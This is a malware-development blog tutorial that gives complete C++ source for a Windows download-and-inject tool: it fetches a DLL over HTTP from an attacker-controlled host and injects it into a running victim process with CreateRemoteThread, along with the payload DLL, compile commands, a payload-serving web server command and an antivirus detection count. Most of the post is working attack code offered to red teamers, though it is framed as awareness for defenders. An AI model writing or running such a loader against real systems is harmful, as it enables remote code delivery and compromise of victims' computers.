Malware development tricks. Download and inject logic. C++ example.
﷽
Hello, cybersecurity enthusiasts and white hackers!
This post is the result of my own research into interesting trick in real-life malware.
download and execute
Download and execute or in our case download and inject is interesting trick and designed to download payload or evil DLL from a url, with an emphasis on http
, and execute or inject it. The benefits to the download/execute (or download/inject) approach are that it can be used behind networks that filter all other traffic aside from HTTP. It can even work through a pre-configured proxy given that said proxy does not require authentication information.
practical example
First of all, let’s go to consider classic DLL injection malware. In the simplest case it will look like this:
/*
* classic DLL injection example
* author: @cocomelonc
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
char evilDLL[] = "C:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;
int main(int argc, char* argv[]) {
HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer
HMODULE hKernel32 = GetModuleHandle("Kernel32");
VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
// parse process pid
if ( atoi(argv[1]) == 0) {
printf("PID not found :( exiting...\n");
return -1;
}
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
CloseHandle(ph);
return 0;
}
It’s pretty simple as you can see.
Here I want to add some simple logic for downloading our evil.dll
. In the simplest case it will look like this:
// download evil.dll from url
char* getEvil() {
HINTERNET hSession = InternetOpen((LPCSTR)"Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hHttpFile = InternetOpenUrl(hSession, (LPCSTR)"http://192.168.56.1:4444/evil.dll", 0, 0, 0, 0);
DWORD dwFileSize = 1024;
char* buffer = new char[dwFileSize + 1];
DWORD dwBytesRead;
DWORD dwBytesWritten;
HANDLE hFile = CreateFile("C:\\Temp\\evil.dll", GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
do {
buffer = new char[dwFileSize + 1];
ZeroMemory(buffer, sizeof(buffer));
InternetReadFile(hHttpFile, (LPVOID)buffer, dwFileSize, &dwBytesRead);
WriteFile(hFile, &buffer[0], dwBytesRead, &dwBytesWritten, NULL);
delete[] buffer;
buffer = NULL;
} while (dwBytesRead);
CloseHandle(hFile);
InternetCloseHandle(hHttpFile);
InternetCloseHandle(hSession);
return buffer;
}
This function download evil.dll
from attacker’s machine (192.168.56.1:4444
, but in the real-life scenario it can be looks like evilmeowmeow.com:80
) and save to file C:\\Temp\\evil.dll
.
Then, we run this code in the main()
function. Full source code of our injector is:
/*
evil_inj.cpp
classic DLL injection example
author: @cocomelonc
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <wininet.h>
#pragma comment (lib, "wininet.lib")
char evilDLL[] = "C:\\Temp\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;
// download evil.dll from url
char* getEvil() {
HINTERNET hSession = InternetOpen((LPCSTR)"Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hHttpFile = InternetOpenUrl(hSession, (LPCSTR)"http://192.168.56.1:4444/evil.dll", 0, 0, 0, 0);
DWORD dwFileSize = 1024;
char* buffer = new char[dwFileSize + 1];
DWORD dwBytesRead;
DWORD dwBytesWritten;
HANDLE hFile = CreateFile("C:\\Temp\\evil.dll", GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
do {
buffer = new char[dwFileSize + 1];
ZeroMemory(buffer, sizeof(buffer));
InternetReadFile(hHttpFile, (LPVOID)buffer, dwFileSize, &dwBytesRead);
WriteFile(hFile, &buffer[0], dwBytesRead, &dwBytesWritten, NULL);
delete[] buffer;
buffer = NULL;
} while (dwBytesRead);
CloseHandle(hFile);
InternetCloseHandle(hHttpFile);
InternetCloseHandle(hSession);
return buffer;
}
// classic DLL injection logic
int main(int argc, char* argv[]) {
HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer
// handle to kernel32 and pass it to GetProcAddress
HMODULE hKernel32 = GetModuleHandle("Kernel32");
VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
char* evil = getEvil();
// parse process ID
if ( atoi(argv[1]) == 0) {
printf("PID not found :( exiting...\n");
return -1;
}
printf("PID: %i\n", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// "copy" evil DLL between processes
WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
// our process start new thread
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
CloseHandle(ph);
return 0;
}
As usual, for simplicity, we create DLL which just pop-up a message box:
/*
evil.cpp
simple DLL for DLL inject to process
author: @cocomelonc
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow from evil.dll!",
"=^..^=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
So finally after we understood entire code of the injector, we can test it.
demo
First of all, compile DLL:
x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -fpermissive
Then, compile injector:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole -lwininet -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
Prepare simple web server on attacker’s machine:
python3 -m http.server 4444
Make sure that the specified path exists in the victim’s machine (C:\\Temp
):
Finally, run victim process mspaint.exe
and run injector hack.exe
:
.\hack.exe <mspaint.exe's PID>
As you can see, everything is worked perfectly :)
Let’s go to upload to VirusTotal:
So 6 of 69 AV engines detect our file as malicious
I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.
InternetOpen
InternetOpenUrl
InternetReadFile
InternetCloseHandle
WriteFile
CreateFile
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
OpenProcess
GetProcAddress
LoadLibraryA
classic DLL injection
source code in Github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine